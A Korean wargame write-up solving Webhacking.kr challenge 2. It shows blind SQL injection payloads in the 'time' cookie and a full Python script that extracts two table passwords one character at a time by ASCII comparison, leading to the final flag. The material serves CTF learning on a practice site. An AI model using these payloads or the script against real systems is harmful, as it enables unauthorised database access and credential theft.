본문 바로가기

----WARGAME----/Webhacking.kr

Webhacking.kr 2번 풀이 - Blind SQL Injection

336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

 

Webhacking.kr 워게임 사이트에 로그인 한 후, 'Challenges' 페이지에 접속한다.
  * Login
  * Challenges


Challenges 페이지에서 2번을 클릭하면 다음과 같은 2번 문제의 페이지를 볼 수 있다.
참고로 이 문제는 홍길동 문제라고 불리는 유명한 문제라고 한다.


 


페이지 상에서는 별다른 내용이 보이지 않으므로 페이지의 소스를 확인해본다.
페이지를 우클릭하고 '페이지 소스 보기'를 클릭한다.
다음과 같은 소스가 화면에 출력되는 것을 볼 수 있다.


 

소스를 살펴보면 19행에서 'admin/' 페이지를 확인할 수 있다.
이는 OWASP의 OTG-CONFIG-005 항목에 해당하는 취약점이라고 볼 수 있다.

( * OTG-CONFIG-005, Enumerate Infrastructure and Application Admin Interfaces. )


 

노출된 'admin/' 페이지로 이동해본다.
(* http://webhacking.kr/challenge/web/web-02/admin/)

다음과 같은 로그인 화면이 보인다. 또한, 소스보기를 해보면 특별한 내용이 없다.



 

해당 폼에 기본적인 SQL Injection 들을 시도해봐도 성공하지 않는다.
다른 힌트 혹은 취약점이 존재하는지 확인하기 위하여, 페이지 상단의 탭들을 쭉 둘러본다.

'BOARD' 탭의 페이지로 들어가 보면 게시물이 하나 존재하며, 비밀글로 등록되어 있다.



다시 놓친 힌트가 있나 메인 페이지로 돌아간다.
메인 페이지의 소스를 보면 주석처리 된 값 중 불필요한 주석으로 time 값이 존재한다.
( <!--2017-06-22 11:14:54--> )

1
2
3
4
5
6
7
8
9
10
<table bgcolor=white width=976>
<td width=88></td>
<td width=800>
<br>
<center>
<a href=index.php><img src=img/new.jpg border=0></a><br>
<br><br>
<!--2017-06-22 11:14:54--></td>
<td width=88></td>
</table>
cs


이는 직접적으로 패스워드 등의 민감정보가 하드코딩된 것은 아니지만 OWASP의 OTG-INFO-005 항목과 연관된 내용으로 불 수 있다.

( * OTG-INFO-005, Review webpage comments and metadata for information leakage. )


 

소스에서는 더 이상 특별한 내용이 없는것 같다.
추가적으로 클라이언트 요청이나 서버의 응답을 확인해보도록 한다.
클라이언트의 요청을 보면 Cookie를 이용하여 'time' 파라미터를 전달하고 있다.



 

해당 'time' 파라미터를 이용하여 SQL Injection 기법 중 하나인 Blind SQL Injection을 시도해본다.
Blind SQL Injection의 경우 참과 거짓 쿼리를 전송하여 서버의 반응이 서로 다를 때 사용할 수 있는 기술이다.

일반적인 SQL Injection 기술의 경우 한 번의 쿼리로 원하는 데이터를 얻을 수 있는 반면, Blind SQL Injection은 참과 거짓을 통해 한 글자 씩 값을 얻어오는 과정을 반복하여 원하는 정보를 얻을 수 있다.
또한, 이러한 Blind SQL Injection은 내부 DB 오류를 사용자에게 반환하지 않을 때 시도해볼만 하다.
전제 조건으로는 위에서 언급한 것처럼 참과 거짓 쿼리에 따른 서버의 반응을 사용자에게 반환해줘야 한다.


전제 조건이 충족하는지 확인해보도록 하자
먼저 Cookie를 수정하여 'time' Parameter를 수정하여 무조건 TRUE가 되도록 해본다.
   * Cookie: time=1498097694 OR 1=1
다음으로는 무조건 FALSE가 되도록 Cookie를 수정하여 요청해본다.
   * Cookie: time=1498097694 AND 1=2


먼저 TRUE에 대한 Server Response는 다음과 같다.




다음으로 FALSE에 대한 Server Response는 다음과 같다.


 


즉, 참과 거짓 쿼리 각각에 따라 서버의 응답이 다른 것으로 볼 때, Blind SQL Injection 기술을 사용할 수 있음을 알 수 있다.
'BOARD' 페이지의 비밀글을 보기 위하여 Blind SQL Injection 공격을 시도할 것인데, 해당 페이지를 보면 테이블명으로 유추되는 String이 있다.



먼저 Password의 최대 길이를 확인한다.
참과 거짓 쿼리를 보냈던 'time' 쿠키 값을 아래와 같이 설정하여 시도하면 된다.
   * Cookie: time=1498097694 AND (select length(password) from FreeB0aRd) = 1

결과 값으로 '09:00:00'이 돌아온다. 즉, False로 확인되었다는 것이다.
이러한 방식으로 1, 2, 3, ... 숫자를 높여서 시도해본다.
9를 시도하였을 때 True 값인 '09:00:01'이 반환되는 것을 볼 수 있다.
   * FreeB0aRd 테이블의 password 컬럼 길이 = 9

같은 방법으로 admin 테이블의 길이를 확인해보면 10을 비교했을 때 True가 반환이 된다.
   * admin 테이블의 password 컬럼 길이 = 10

또한 아래와 같은 SQL 쿼리로 한 글자 씩, ASCII 값을 비교하여 유추한다.
   * cookie: time=1498097694 AND (select ascii(substr(password,%d,1)) from FreeB0aRd) > 32
      -> True가 반환되므로 첫 글자는 ASCII 32 보다 크다는 의미이다.
이 작업을 수작업으로 하기에는 힘들다. 이에 따라, Python 스크립트를 작성하여 시도한다.


다음은 패스워드 획득을 위한 Python Script 이다.
 * 사용하기 전, sessionId 값을 현재 자신의 PHPSSESID 값으로 변경하여야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import urllib2, re
 
### !IMPORTANT!
### Please modify this value before use.
sessionId = "123abc_change_this_item_xyz890"
 
### Prepare variables.
password = ''
asciiList = []
for i in range(33,127):
        asciiList.append(i)
 
### Password tracing for FreeB0aRd table with 9 characters.
for i in range(1,10):
        for j in asciiList:
                url = "http://webhacking.kr/challenge/web/web-02/index.php"
                req = urllib2.Request(url)
                req.add_header('Cookie'"time=1498097694 AND (select ascii(substr(password,%d,1)) from FreeB0aRd) = %d; PHPSESSID=%s" %(i, j, sessionId))
                res = urllib2.urlopen(req).read()
                flag = re.findall("<!--2070-01-01 09:00:01--></td>", res);
                if flag:
                        password = password + chr(j)
                        print "ascii matched = " + chr(j)
                        print "current password = " + password
                        break
                ### debug
                # print "running"
 
print "@@@ Password of FreeB0aRd table = %s" %(password)
 
### Initialize variables.
password = ''
print ""
 
### Password tracing for admin table with 10 characters.
for i in range(1,11):
        for j in asciiList:
                url = "http://webhacking.kr/challenge/web/web-02/index.php"
                req = urllib2.Request(url)
                req.add_header('Cookie'"time=1498097694 AND (select ascii(substr(password,%d,1)) from admin) = %d; PHPSESSID=%s" %(i, j, sessionId))
                res = urllib2.urlopen(req).read()
                flag = re.findall("<!--2070-01-01 09:00:01--></td>", res);
                if flag:
                        password = password + chr(j)
                        print "ascii matched = " + chr(j)
                        print "current password = " + password
                        break
                ### debug
                # print "running"
 
print "@@@ Password of admin table = %s" %(password)
 
### End of script
cs

 

스크립트가 정상적으로 수행되면, 다음과 같은 2개의 패스워드를 획득할 수 있다.


 


먼저, admin 페이지에서 획득한 패스워드를 이용하여 로그인 해보자
(http://webhacking.kr/challenge/web/web-02/admin/)

로그인하면 다음과 같은 화면이 출력되고, '메뉴얼 패스워드'라는 추가적인 패스워드를 획득할 수 있다.


 


다음으로, board 페이지에서 획득한 패스워드를 이용하여 비밀글을 열람한다.
열람하면 아래와 같은 게시물이 보이며, 'admin manual'을 클릭하면 압축파일이 다운로드 된다.


 


해당 압축파일을 해제하려하면 아래와 같이 추가 패스워드를 묻는다.
admin에서 획득한 패스워드를 입력해본다.


 


정상적으로 압축이 해제되면 'manual.html' 이라는 파일을 획득할 수 있고, 파일을 열어보면 최종 패스워드를 획득할 수 있다.


 


획득한 최종 패스워드를 아래 사이트에 입력하면 Level 2 단계의 모든 과정이 완료된다.
 * http://webhacking.kr/index.php?mode=auth


- 끝 -

 

출처 : warsolve.org, http://warsolve.org/w_webhacking.kr/ko-kr/level-2.aspx